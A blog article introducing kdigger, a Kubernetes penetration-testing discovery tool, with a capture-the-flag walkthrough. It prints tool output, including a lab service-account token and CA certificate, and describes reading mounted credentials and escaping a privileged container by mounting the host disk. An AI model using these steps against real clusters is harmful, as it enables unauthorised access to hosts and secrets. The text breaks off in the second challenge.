This article is an introduction to Kubernetes security through the presentation of a new context discovery tool. It was built in reaction to the capture the flag challenge of the Europe 2021 KubeCon Cloud-Native Security Day CTF. We open-sourced the tool, named kdigger, on Github.
I will quickly introduce Kubernetes, and then kdigger through a little CTF created to highlight its usage.
Quick introduction on Kubernetes
If you are already familiar with Kubernetes and its basic concepts, please feel free to skip this section.
To understand this introduction, you need some Kubernetes vocabulary, these definitions are extracted from the official Kubernetes glossary where you can find a lot more:
- Pod: The smallest and simplest Kubernetes object. A pod represents a set of running containers on your cluster.
- Node: A node is a VM or a physical machine in Kubernetes.
Kubernetes was released by Google as an open-source project in 2014. It was built with the 10 years of experience Google acquired by creating Borg, its main cluster manager in the early 2000s. It describes itself as “an open-source system for managing containerized applications across multiple hosts [and] provides basic mechanisms for deployment, maintenance, and scaling of applications”.
Kubernetes can be divided into two parts. First, the control plane, with its central part named the API server, that communicates with other components:
- The controller manager that contains all the core control loops for the native Kubernetes resources.
- The scheduler that organizes pods onto nodes.
- The cloud controller manager that interacts with cloud providers APIs.
- etcd, the distributed database of Kubernetes that basically stores everything.
Then, the Kubernetes nodes, the actual compute pools of Kubernetes that run workloads. They run a daemon, named kubelet, which oversees communicating with the API server to run the pods, and thus the containers and the hosts. The kube-proxy daemon makes services work. It is a huge part of Kubernetes that we will not explain further in this article.
Users and machines interact with cluster through its API, which is declarative and thus asynchronous. This is a critical aspect of Kubernetes, you declare objects in the desired state and the reconciliation loops of the controller and operators running in your cluster will eventually match the reality with the desired state.
To run a new container in your cluster, you use a command line interface like kubectl, with one-liners like kubectl run toolbox --image=mtardy/koolbox:v0.1.4 -- "kdigger dig all && sleep infinity", or YAML files that you pass to the API with kubectl apply -f file.yaml:
apiVersion: v1 kind: Pod metadata: name: toolbox spec: terminationGracePeriodSeconds: 0 containers: - name: box image: mtardy/koolbox:v0.1.4 args: - "kdigger dig all && sleep infinity"
Typically, after performing one of these actions, the API server will store your manifest in etcd. The scheduler will then notice a new pending pod, it will find a node with available resources and schedule the pod onto it. Then the kubelet running on this host will notice that it must run a new pod, will create it on the host and give feedback to the API server. For example that the container image was downloaded and started successfully.
Side-note: the image mtardy/koolbox is an evolving basic Ubuntu image with some of my favorite tools already installed. I have added && sleep infinity in the examples so that you can kubectl exec -it into the created pod and play with the kdigger directly.
Introducing kdigger
kdigger, short for “Kubernetes digger”, is a context discovery tool for Kubernetes penetration testing. This tool is a compilation of various plugins called buckets to facilitate pentesting Kubernetes from inside a pod.
Please note that this is not an ultimate pentest tool on Kubernetes. Some plugins perform simple actions, that could be performed manually by calling the mount command, or listing all devices present in dev with ls /dev for example. But some others automate scanning processes, such as the admission controller scanner. In the end, this tool aims to humbly speed up the pentesting process.
Usage
What you generally want to do is running all the buckets with dig all or just d a:
Help is provided by the CLI itself, just type kdigger to see the options:
$ kdigger kdigger is an extensible CLI tool to dig around when you are in a Kubernetes cluster. For that you can use multiples buckets. Buckets are plugins that can scan specific aspects of a cluster or bring expertise to automate the Kubernetes pentest process. Usage: kdigger [command] Available Commands: dig Use all buckets or specific ones help Help about any command ls List available buckets or describe specific ones version Print the version information Flags: -h, --help help for kdigger -o, --output string Output format. One of: human|json. (default "human") -w, --width int Width for the human output (default 140) Use "kdigger [command] --help" for more information about a command.
Make sure to check out the help on the dig command to see all the available flags:
$ kdigger dig This command runs buckets, the special keyword "all" or "a" runs all registered buckets. You can find information about all buckets with the list command. To run one or more specific buckets, just input their names or aliases as arguments. Usage: kdigger dig [buckets] [flags] Aliases: dig, d Flags: -a, --active Enable all buckets that might have side effect on environment. --admission-force Force creation of pods to scan admission even without cleaning rights. (this flag is specific to the admission bucket) -c, --color Enable color in output. (default true if output is human) -h, --help help for dig --kubeconfig string (optional) absolute path to the kubeconfig file (default "/home/mahe/.kube/config") -n, --namespace string Kubernetes namespace to use. (default to the namespace in the context) Global Flags: -o, --output string Output format. One of: human|json. (default "human") -w, --width int Width for the human output (default 140)
To check all the available buckets (or plugins), you can use the list or ls command:
$ kdigger ls +---------------+----------------------------+---------------------------------+--------+ | NAME | ALIASES | DESCRIPTION | ACTIVE | +---------------+----------------------------+---------------------------------+--------+ | admission | [admissions adm] | Admission scans the admission | true | | | | controller chain by creating | | | | | specific pods to find what is | | | | | prevented or not. | | | authorization | [authorizations auth] | Authorization checks your API | false | | | | permissions with the current | | | | | context or the available token. | | | capabilities | [capability cap] | Capabilities list all | false | | | | capabilities in all sets and | | | | | displays dangerous capabilities | | | | | in red. | | | devices | [device dev] | Devices shows the list of | false | | | | devices available in the | | | | | container. | | | environment | [environments environ env] | Environment checks the presence | false | | | | of kubernetes related | | | | | environment variables and shows | | | | | them. | | | mount | [mounts mn] | Mount shows all mounted devices | false | | | | in the container. | | | pidnamespace | [pidnamespaces pidns] | PIDnamespace analyses the PID | false | | | | namespace of the container in | | | | | the context of Kubernetes. | | | processes | [process ps] | Processes analyses the running | false | | | | processes in your PID namespace | | | runtime | [runtimes rt] | Runtime finds clues to identify | false | | | | which container runtime is | | | | | running the container. | | | services | [service svc] | Services uses CoreDNS wildcards | false | | | | feature to discover every | | | | | service available in the | | | | | cluster. | | | syscalls | [syscall sys] | Syscalls scans most of the | true | | | | syscalls to detect which are | | | | | blocked and allowed. | | | token | [tokens tk] | Token checks for the presence | false | | | | of a service account token in | | | | | the filesystem. | | | userid | [userids id] | UserID retrieves UID, GID and | false | | | | their corresponding names. | | | usernamespace | [usernamespaces userns] | UserNamespace analyses the user | false | | | | namespace configuration. | | | version | [versions v] | Version dumps the API server | false | | | | version informations. | | +---------------+----------------------------+---------------------------------+--------+
For more detailed information on every bucket, you can refer to kdigger README.
Usage warning
Be careful when running this tool, some checks have side effects, like scanning your available syscalls or trying to create pods to scan the admission control. By default these checks will not run without the --active or -a flag.
For example, syscalls scans may succeed to perform some syscalls with empty arguments, and it can alter your environment or configuration. For instance, if the hostname syscall is successful, it will replace the hostname with the empty string. So please, NEVER run with sufficient permissions (as root for example) directly on your machine.
Results warning
Some tests are based on details of implementation or side effects on the environment that might be subject to changes in the future. So be cautious with the results.
On top of that, some results might need some experience to be understood and analyzed. To take a specific example, if you are granted the CAP_SYS_ADMIN capability inside a Kubernetes container, there is a good chance that it is because you are running in a privileged container. But you should definitely confirm that by looking at the number of devices available or the other capabilities that you are granted. Indeed, it might be necessary to get CAP_SYS_ADMIN to be privileged but it’s not sufficient and if it is your goal, you can easily trick the results by crafting very specific pods that might look confusing regarding this tool results.
It might not be the most sophisticated tool to pentest a Kubernetes cluster, but you can see this as a Kubernetes pentest 101 compilation!
Demonstration
minik8s-ctf
To demonstrate and understand kdigger, we created and open-sourced a small CTF challenge that you can find on Github.
This mini CTF is just a selection of what I have seen during some Kubernetes CTFs I participated in. These flags are designed to highlight the use of the kdigger tool and are beginner friendly. For now it is only composed of 3 challenges.
The context of every step is the same, you somehow exploited an RCE and gained access to a reverse shell in an execution context. You then want to quickly know where you are, discover what services are accessible, and find some credentials and elevate your privileges.
If you want to try the challenges by yourself, you can stop reading the article here and go to the minik8s-ctf repository.
Challenges
All these challenges are in the same context, you are provided with a shell inside a Kubernetes pod container. But in a “real life” situation, you may want to search for clues that you are running inside a Kubernetes pod!
First, to detect you are running in a container, you can check the state of the namespaces you are in. It is almost impossible to be sure you are in a particular namespace (except for the user namespace), so we have to check for side effects.
A good first idea is to check the PID and network namespace, check that there are only a few processes visible (with ps -ef for example), that the PID 1 process is not systemd and that a small number of network interfaces are configured (with ip a for example).
Then, when you are starting to suspect that you are in a container, it might be interesting to check for Kubernetes side effects: display the environment variables (with env) and check the presence of a token and service account information in /run/secrets/kubernetes.io/serviceaccount/.
To perform most of these actions with kdigger you can use the process, environment and token buckets:
# kdigger dig env ps token ### ENVIRONMENT ### Comment: Typical Kubernetes API service env var was found, we might be running inside a pod. +-------------------------------+---------------------+ | NAME | VALUE | +-------------------------------+---------------------+ | KUBERNETES_PORT_443_TCP_ADDR | 10.96.0.1 | | KUBERNETES_SERVICE_HOST | 10.96.0.1 | | KUBERNETES_SERVICE_PORT_HTTPS | 443 | | KUBELETCTL_VERSION | v1.8 | | KUBERNETES_PORT_443_TCP_PORT | 443 | | KUBERNETES_PORT | tcp://10.96.0.1:443 | | KUBERNETES_SERVICE_PORT | 443 | | KUBERNETES_PORT_443_TCP | tcp://10.96.0.1:443 | | KUBERNETES_PORT_443_TCP_PROTO | tcp | +-------------------------------+---------------------+ ### PROCESSES ### Comment: 4 processes running, systemd not found as the first process +-----+------+---------+ | PID | PPID | NAME | +-----+------+---------+ | 1 | 0 | bash | | 7 | 1 | sleep | | 114 | 0 | bash | | 133 | 114 | kdigger | +-----+------+---------+ ### TOKEN ### Comment: A service account token is mounted. +-----------+---------------------------------------------+---------------------------------------------+ | NAMESPACE | TOKEN | CA | +-----------+---------------------------------------------+---------------------------------------------+ | default | eyJhbGciOiJSUzI1NiIsImtpZCI6ImpKSVhUcHgxbEd | -----BEGIN CERTIFICATE----- | | | wNEx4OUlJQWMyWHVXSmJVTk1LLUhFcF9RNndGX0poVW | MIIDBjCCAe6gAwIBAgIBATANBgkqhkiG9w0BAQsFADA | | | MifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLm | VMRMwEQYDVQQDEwptaW5p | | | RlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwI | a3ViZUNBMB4XDTIxMDMyMzE3MDAyMloXDTMxMDMyMjE | | | joxNjYzMDgwMDA5LCJpYXQiOjE2MzE1NDQwMDksImlz | 3MDAyMlowFTETMBEGA1UE | | | cyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN | AxMKbWluaWt1YmVDQTCCASIwDQYJKoZIhvcNAQEBBQA | | | 2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pby | DggEPADCCAQoCggEBAM/6 | | | I6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7I | qEv1HWFmJZf5Y70T06F9+YUgBgVkKUifLIZcb8gmjKR | | | m5hbWUiOiJhcHAtd2l0aC1yY2UiLCJ1aWQiOiIwY2Vm | gROXHdlcAJHPHs7tZiFQ+ | | | Y2RlYi1iZjUzLTQ0OWItOGUzMy1hY2UzMjk3ZGNkOWU | YEv28E46k2qdXj61DTWQAK4ztyGguZIYeVkY5oia23s | | | ifSwic2VydmljZWFjY291bnQiOnsibmFtZSI6ImRlZm | 6xFhByyqrHbinjSPqQaxm | | | F1bHQiLCJ1aWQiOiJhMzY2NTcxZi0xYmM4LTRkMzEtY | xHerNE2ae/opzVJNYAYACdxGRorlRAN0OHS0lnCk+fl | | | mUwMC04ZjkyNzJiNmYxM2QifSwid2FybmFmdGVyIjox | WjofLURzobtV54PEzMxov | | | NjMxNTQ3NjE2fSwibmJmIjoxNjMxNTQ0MDA5LCJzdWI | iYoNOkrYVnFe/zryuQPndQmKqElvcz8HC2jYiSikTgd | | | iOiJzeXN0ZW06c2VydmljZWFjY291bnQ6ZGVmYXVsdD | CrrGxXABf+kYxBanp7a0a | | | pkZWZhdWx0In0.Tz9DjbGLfmozFQaxZ_GOKtX4n1H94 | LR/KDeD0Lv+xeRcQ8bbDVwUUy6VHif6k7tOspyiUWW6 | | | 69R_bvPK6yv48AMWJc2kmX-9Ph7ZERNq3-k83sSKLdF | uNLAfwZXpzbE6gfdxUx5N | | | Sbf9c-KJE82LRwDDNtTIC8pqJg0jtf6tLaQ77YvdsAS | FGQTRNT7QMQy7DaEAJ8CAwEAAaNhMF8wDgYDVR0PAQH | | | Oq-SscRfSxN1bta8r7SPUVNIhd4UiqdCbB_rXzOwPoP | /BAQDAgKkMB0GA1UdJQQW | | | G2uhQLg2wkzw-Nnz2AZ_rDNfLSBcBbv0rMvtkO5ET3m | MBQGCCsGAQUFBwMCBggrBgEFBQcDATAPBgNVHRMBAf8 | | | 6ucjQZsBnHZb8C0MATEja_12H81C6B-v-igOz59kcCP | EBTADAQH/MB0GA1UdDgQW | | | 1QqeogOKyWaHuG11pyklqFhUoBsx2JnfRzRPTcvdkNo | BBSPYIvBWy4s6dZE/Xo/fxd8ktn1aDANBgkqhkiG9w0 | | | fEFaO87Mm76rN_p0h1DtaMHiX_3aXGuLjmP-MOdpSZg | BAQsFAAOCAQEApTKOMILF | | | nsStLX7YmL0g | 31MOdaMMAF/SEH9QAN/C7vvE2hE/7aWrtZhUtFFFRpn | | | | XBz2S4Xu+P1stEzqfHo6g | | | | AEXJhWe9RAnCVmHhg3hA5405VHYggmR35WmrCDMqyaB | | | | Tpix0YnG1SXetYXE8vLnV | | | | tVHHmszW7y+h4S+ODovnxxI8eMqr7th0wI5GLjZTUnq | | | | zPKGt2l8NhqeaukDvbXth | | | | KpjekcEbxkaPDJt8AehuLZ/74qAGijMQOLKqXGuwGKC | | | | Tf/79PF6ldWCfHKbLpH0r | | | | tcSeGC5MulXMHEFP9ghLtizT3hQxE1c+//jXYxXt7Zw | | | | 6vurzntOPwZwvmYtcTVnM hfG5+fdkU2rIIA== | | | | -----END CERTIFICATE----- | +-----------+---------------------------------------------+---------------------------------------------+
With this information, we can affirm that we are running inside a Kubernetes pod.
Challenge 1
The idea behind this first step is to see what it means to run in a privileged container from the inside and see how it completely breaks the isolation assumption we usually make on containers.
You can browse the context and some commands like df, mount, ls /dev or capsh --print will give you some hints. We can see a lot of devices (all the host devices) and our capabilities are extended in comparison to a normal Kubernetes container environment.
kdigger can spot the fact that we are running as privileged quite fast:
# kdigger dig cap dev mount ### CAPABILITIES ### Comment: The bounding set contains 38 caps and you have CAP_SYS_ADMIN, you might be running a privileged container, check the number of devices available. +-------------+--------------------------------------------------------------------+ | SET | CAPABILITIES | +-------------+--------------------------------------------------------------------+ | effective | [chown dac_override dac_read_search fowner fsetid kill setgid | | | setuid setpcap linux_immutable net_bind_service net_broadcast | | | net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio | | | sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice | | | sys_resource sys_time sys_tty_config mknod lease audit_write | | | audit_control setfcap mac_override mac_admin syslog wake_alarm | | | block_suspend audit_read] | | permitted | [chown dac_override dac_read_search fowner fsetid kill setgid | | | setuid setpcap linux_immutable net_bind_service net_broadcast | | | net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio | | | sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice | | | sys_resource sys_time sys_tty_config mknod lease audit_write | | | audit_control setfcap mac_override mac_admin syslog wake_alarm | | | block_suspend audit_read] | | inheritable | [chown dac_override dac_read_search fowner fsetid kill setgid | | | setuid setpcap linux_immutable net_bind_service net_broadcast | | | net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio | | | sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice | | | sys_resource sys_time sys_tty_config mknod lease audit_write | | | audit_control setfcap mac_override mac_admin syslog wake_alarm | | | block_suspend audit_read] | | bounding | [chown dac_override dac_read_search fowner fsetid kill setgid | | | setuid setpcap linux_immutable net_bind_service net_broadcast | | | net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio | | | sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice | | | sys_resource sys_time sys_tty_config mknod lease audit_write | | | audit_control setfcap mac_override mac_admin syslog wake_alarm | | | block_suspend audit_read] | | ambient | [] | +-------------+--------------------------------------------------------------------+ ### DEVICES ### Comment: 147 devices are available. +-------------+-------+----------------------+--------------------+ | MODE | ISDIR | MODTIME | NAME | +-------------+-------+----------------------+--------------------+ | Dcrw-r--r-- | false | 2021-09-13T14:40:27Z | autofs | | drwxr-xr-x | true | 2021-09-13T14:40:27Z | bsg | | Dcrw------- | false | 2021-09-13T14:40:27Z | btrfs-control | | Lrwxrwxrwx | false | 2021-09-13T14:40:27Z | core | | drwxr-xr-x | true | 2021-09-13T14:40:27Z | cpu | | Dcrw------- | false | 2021-09-13T14:40:27Z | cpu_dma_latency | | Lrwxrwxrwx | false | 2021-09-13T14:40:27Z | fd | | Dcrw-rw-rw- | false | 2021-09-13T14:40:27Z | full | | Dcrw-rw-rw- | false | 2021-09-13T14:40:27Z | fuse | | Dcrw------- | false | 2021-09-13T14:40:27Z | hpet | | Dcrw------- | false | 2021-09-13T14:40:27Z | hwrng | | drwxr-xr-x | true | 2021-09-13T14:40:27Z | input | | Dcrw-r--r-- | false | 2021-09-13T14:40:27Z | kmsg | | Dcrw-rw---- | false | 2021-09-13T14:40:27Z | loop-control | | Drw-rw---- | false | 2021-09-13T14:40:27Z | loop0 | | Drw-rw---- | false | 2021-09-13T14:40:27Z | loop1 | | Drw-rw---- | false | 2021-09-13T14:40:27Z | loop2 | | Drw-rw---- | false | 2021-09-13T14:40:27Z | loop3 | | Drw-rw---- | false | 2021-09-13T14:40:27Z | loop4 | | Drw-rw---- | false | 2021-09-13T14:40:27Z | loop5 | | Drw-rw---- | false | 2021-09-13T14:40:27Z | loop6 | | Drw-rw---- | false | 2021-09-13T14:40:27Z | loop7 | | drwxr-xr-x | true | 2021-09-13T14:40:27Z | mapper | | Dcrw-r----- | false | 2021-09-13T14:40:27Z | mem | | Dcrw------- | false | 2021-09-13T14:40:27Z | memory_bandwidth | | dtrwxrwxrwx | true | 2021-09-13T14:40:09Z | mqueue | | drwxr-xr-x | true | 2021-09-13T14:40:27Z | net | | Dcrw------- | false | 2021-09-13T14:40:27Z | network_latency | | Dcrw------- | false | 2021-09-13T14:40:27Z | network_throughput | | Dcrw-rw-rw- | false | 2021-09-13T14:40:27Z | null | | Dcrw------- | false | 2021-09-13T14:40:27Z | nvram | | Dcrw-r----- | false | 2021-09-13T14:40:27Z | port | | Lrwxrwxrwx | false | 2021-09-13T14:40:27Z | ptmx | | drwxr-xr-x | true | 2021-09-13T14:40:27Z | pts | | Dcrw-rw-rw- | false | 2021-09-13T14:40:27Z | random | | Dcrw-rw-r-- | false | 2021-09-13T14:40:27Z | rfkill | | Dcrw------- | false | 2021-09-13T14:40:27Z | rtc0 | | Drw-rw---- | false | 2021-09-13T14:40:27Z | sda | | Drw-rw---- | false | 2021-09-13T14:40:27Z | sda1 | [...] | Dcrw------- | false | 2021-09-13T14:40:27Z | vga_arbiter | | Dcrw------- | false | 2021-09-13T14:40:27Z | vhost-net | | Dcrw------- | false | 2021-09-13T14:40:27Z | vhost-vsock | | Dcrw-rw-rw- | false | 2021-09-13T14:40:27Z | zero | +-------------+-------+----------------------+--------------------+ ### MOUNT ### Comment: 25 devices are mounted. +-----------+---------------------------------+------------+---------------------------------+ | DEVICE | PATH | FILESYSTEM | FLAGS | +-----------+---------------------------------+------------+---------------------------------+ | overlay | / | overlay | rw,relatime,lowerdir=/var/lib/d | | | | | ocker/overlay2/l/5TDMPCQVD7DLO7 | | | | | ZQ4KO6BTN5L5:/var/lib/docker/ov | | | | | erlay2/l/XKQ67U6O2RRN5JDWC6B56J | | | | | RMSG:/var/lib/docker/overlay2/l | | | | | /S5J6V522UILUT6XZ7WYHE56N5N:/va | | | | | r/lib/docker/overlay2/l/GG6LDGP | | | | | TPF634I2WIYTJPEX4GK:/var/lib/do | | | | | cker/overlay2/l/UWBUCRVJW6K3AYS | | | | | 6FBCUUKXRPM:/var/lib/docker/ove | | | | | rlay2/l/TSCREVEKN4YATFOQUZU5CFS | | | | | QRE:/var/lib/docker/overlay2/l/ | | | | | LP7OT4YSNHSC6AFSZF3I4N2AGI:/var | | | | | /lib/docker/overlay2/l/W3J57UYP | | | | | K6EZELB53CHBBUY4CV:/var/lib/doc | | | | | ker/overlay2/l/ONEVCWXCBM6WLGRS | | | | | BFH322TH6U:/var/lib/docker/over | | | | | lay2/l/DZIC3X6RD7BITCSRPFDHKHUN | | | | | H5,upperdir=/var/lib/docker/ove | | | | | rlay2/2a723530920ca6ac1a6b05d28 | | | | | ad4e3614574582986f1ff5e7d24cdb7 | | | | | 9a76a74a/diff,workdir=/var/lib/ | | | | | docker/overlay2/2a723530920ca6a | | | | | c1a6b05d28ad4e3614574582986f1ff | | | | | 5e7d24cdb79a76a74a/work | | proc | /proc | proc | rw,nosuid,nodev,noexec,relatime | | tmpfs | /dev | tmpfs | rw,nosuid,size=65536k,mode=755 | | devpts | /dev/pts | devpts | rw,nosuid,noexec,relatime,gid=5 | | | | | ,mode=620,ptmxmode=666 | | sysfs | /sys | sysfs | rw,nosuid,nodev,noexec,relatime | | tmpfs | /sys/fs/cgroup | tmpfs | rw,nosuid,nodev,noexec,relatime | | | | | ,mode=755 | | cgroup | /sys/fs/cgroup/systemd | cgroup | rw,nosuid,nodev,noexec,relatime | | | | | ,xattr,release_agent=/usr/lib/s | | | | | ystemd/systemd-cgroups-agent,na | | | | | me=systemd | | cgroup | /sys/fs/cgroup/cpuset | cgroup | rw,nosuid,nodev,noexec,relatime | | | | | ,cpuset | | cgroup | /sys/fs/cgroup/net_cls,net_prio | cgroup | rw,nosuid,nodev,noexec,relatime | | | | | ,net_cls,net_prio | | cgroup | /sys/fs/cgroup/cpu,cpuacct | cgroup | rw,nosuid,nodev,noexec,relatime | | | | | ,cpu,cpuacct | | cgroup | /sys/fs/cgroup/hugetlb | cgroup | rw,nosuid,nodev,noexec,relatime | | | | | ,hugetlb | | cgroup | /sys/fs/cgroup/pids | cgroup | rw,nosuid,nodev,noexec,relatime | | | | | ,pids | | cgroup | /sys/fs/cgroup/memory | cgroup | rw,nosuid,nodev,noexec,relatime | | | | | ,memory | | cgroup | /sys/fs/cgroup/blkio | cgroup | rw,nosuid,nodev,noexec,relatime | | | | | ,blkio | | cgroup | /sys/fs/cgroup/devices | cgroup | rw,nosuid,nodev,noexec,relatime | | | | | ,devices | | cgroup | /sys/fs/cgroup/freezer | cgroup | rw,nosuid,nodev,noexec,relatime | | | | | ,freezer | | cgroup | /sys/fs/cgroup/perf_event | cgroup | rw,nosuid,nodev,noexec,relatime | | | | | ,perf_event | | mqueue | /dev/mqueue | mqueue | rw,nosuid,nodev,noexec,relatime | | /dev/sda1 | /dev/termination-log | ext4 | rw,relatime | | /dev/sda1 | /root/.scripts | ext4 | ro,relatime | | /dev/sda1 | /etc/resolv.conf | ext4 | rw,relatime | | /dev/sda1 | /etc/hostname | ext4 | rw,relatime | | /dev/sda1 | /etc/hosts | ext4 | rw,relatime | | shm | /dev/shm | tmpfs | rw,nosuid,nodev,noexec,relatime | | | | | ,size=65536k | | tmpfs | /run/secrets/kubernetes.io/serv | tmpfs | ro,relatime,size=2033280k | | | iceaccount | | | +-----------+---------------------------------+------------+---------------------------------+
It can even perform a scan of the authorized syscalls with:
# kdigger dig sys -a ### SYSCALLS ### Comment: [RT_SIGRETURN SELECT PAUSE PSELECT6 PPOLL WAITID EXIT EXIT_GROUP CLONE FORK VFORK SECCOMP PTRACE VHANGUP] were not scanned because they cause hang or for obvious reasons. +----------+--------------------------------------------------------------------+ | BLOCKED | ALLOWED | +----------+--------------------------------------------------------------------+ | [SETSID] | [BRK READ WRITE OPEN CLOSE STAT FSTAT LSTAT POLL LSEEK MMAP | | | MPROTECT MUNMAP UNAME RT_SIGACTION RT_SIGPROCMASK IOCTL PREAD64 | | | PWRITE64 READV WRITEV ACCESS PIPE SCHED_YIELD MREMAP MSYNC MINCORE | | | MADVISE SHMGET SHMAT SHMCTL DUP DUP2 NANOSLEEP GETITIMER ALARM | | | SETITIMER GETPID SENDFILE RSEQ LGETXATTR FGETXATTR LISTXATTR | | | LLISTXATTR FLISTXATTR REMOVEXATTR LREMOVEXATTR FREMOVEXATTR TKILL | | | TIME FUTEX SCHED_SETAFFINITY SCHED_GETAFFINITY SET_THREAD_AREA | | | IO_SETUP IO_DESTROY IO_GETEVENTS IO_SUBMIT IO_CANCEL | | | GET_THREAD_AREA LOOKUP_DCOOKIE EPOLL_CREATE EPOLL_CTL_OLD | | | EPOLL_WAIT_OLD REMAP_FILE_PAGES GETDENTS64 SET_TID_ADDRESS | | | RESTART_SYSCALL SEMTIMEDOP FADVISE64 TIMER_CREATE TIMER_SETTIME | | | TIMER_GETTIME TIMER_GETOVERRUN TIMER_DELETE CLOCK_SETTIME | | | CLOCK_GETTIME CLOCK_GETRES CLOCK_NANOSLEEP EPOLL_WAIT EPOLL_CTL | | | TGKILL UTIMES VSERVER MBIND SET_MEMPOLICY GET_MEMPOLICY MQ_OPEN | | | MQ_UNLINK MQ_TIMEDSEND MQ_TIMEDRECEIVE MQ_NOTIFY MQ_GETSETATTR | | | KEXEC_LOAD SEMGET ADD_KEY REQUEST_KEY KEYCTL IOPRIO_SET IOPRIO_GET | | | INOTIFY_INIT INOTIFY_ADD_WATCH INOTIFY_RM_WATCH MIGRATE_PAGES | | | OPENAT MKDIRAT MKNODAT FCHOWNAT FUTIMESAT NEWFSTATAT UNLINKAT | | | RENAMEAT LINKAT SYMLINKAT READLINKAT FCHMODAT FACCESSAT UNSHARE | | | SET_ROBUST_LIST GET_ROBUST_LIST SPLICE TEE SYNC_FILE_RANGE | | | VMSPLICE MOVE_PAGES UTIMENSAT EPOLL_PWAIT SIGNALFD TIMERFD_CREATE | | | EVENTFD FALLOCATE TIMERFD_SETTIME TIMERFD_GETTIME ACCEPT4 | | | SIGNALFD4 EVENTFD2 EPOLL_CREATE1 DUP3 PIPE2 INOTIFY_INIT1 PREADV | | | PWRITEV RT_TGSIGQUEUEINFO PERF_EVENT_OPEN RECVMMSG FANOTIFY_INIT | | | FANOTIFY_MARK PRLIMIT64 NAME_TO_HANDLE_AT OPEN_BY_HANDLE_AT | | | CLOCK_ADJTIME SYNCFS SEMOP SETNS GETCPU PROCESS_VM_READV | | | PROCESS_VM_WRITEV KCMP FINIT_MODULE SCHED_SETATTR SCHED_GETATTR | | | RENAMEAT2 GETRANDOM MEMFD_CREATE BPF EXECVEAT CONNECT ACCEPT | | | USERFAULTFD SENDTO MEMBARRIER RECVFROM MLOCK2 SENDMSG | | | COPY_FILE_RANGE RECVMSG PREADV2 SHUTDOWN PWRITEV2 BIND | | | PKEY_MPROTECT LISTEN PKEY_ALLOC GETSOCKNAME PKEY_FREE STATX | | | GETPEERNAME IO_PGETEVENTS SOCKETPAIR SENDMMSG SETSOCKOPT | | | GETSOCKOPT SEMCTL SHMDT SIGALTSTACK MSGGET EXECVE MSGSND WAIT4 | | | MSGRCV KILL MSGCTL FCNTL UTIME FLOCK MKNOD FSYNC USELIB FDATASYNC | | | PERSONALITY TRUNCATE FTRUNCATE GETDENTS GETCWD CHDIR FCHDIR RENAME | | | MKDIR USTAT RMDIR CREAT STATFS LINK UNLINK FSTATFS SYSFS SYMLINK | | | GETPRIORITY READLINK SETPRIORITY CHMOD SCHED_SETPARAM FCHMOD | | | SCHED_GETPARAM SCHED_SETSCHEDULER CHOWN SCHED_GETSCHEDULER FCHOWN | | | SCHED_GET_PRIORITY_MAX SCHED_GET_PRIORITY_MIN LCHOWN UMASK | | | SCHED_RR_GET_INTERVAL GETTIMEOFDAY MLOCK MUNLOCK GETRLIMIT | | | MLOCKALL MUNLOCKALL GETRUSAGE SETTIMEOFDAY MODIFY_LDT TIMES GETUID | | | PIVOT_ROOT SYSLOG _SYSCTL GETGID PRCTL SETUID ARCH_PRCTL SETGID | | | GETEUID ADJTIMEX GETEGID SETPGID GETPPID SETRLIMIT GETPGRP CHROOT | | | SETREUID SETREGID GETGROUPS SETGROUPS SETRESUID GETRESUID | | | SETRESGID GETRESGID GETPGID SETFSUID SETFSGID GETSID CAPGET CAPSET | | | RT_SIGPENDING RT_SIGTIMEDWAIT RT_SIGQUEUEINFO RT_SIGSUSPEND | | | SYSINFO MOUNT UMOUNT2 SWAPON SWAPOFF REBOOT SETHOSTNAME | | | SETDOMAINNAME IOPL IOPERM CREATE_MODULE INIT_MODULE DELETE_MODULE | | | GET_KERNEL_SYMS QUERY_MODULE QUOTACTL NFSSERVCTL GETPMSG PUTPMSG | | | AFS_SYSCALL TUXCALL SECURITY GETTID READAHEAD SETXATTR LSETXATTR | | | FSETXATTR GETXATTR KEXEC_FILE_LOAD ACCT SYNC] | +----------+--------------------------------------------------------------------+
So we can affirm we are running inside a privileged container, and to finish this step, you have to mount /dev/sda1 somewhere and grep inside the docker overlay filesystem to retrieve the flag that was lying in another container filesystem. More detailed information in the minik8s-ctf solutions.
Challenge 2
In this scenario, you have to access the underlying host and retrieve a secret from its /root folder.
The idea here is to check for the presence of a Kubernetes service account token in /run/secrets/kubernetes.io/serviceaccount/ and check its associated rights. Fortunately, kubectl is installed, so you can check for kubectl auth can-i --list and notice that you can create pods! If there are no further admission controls, that might give you access to the underlying host!
kdigger can check for the token and its associated rights to the Kubernetes API:
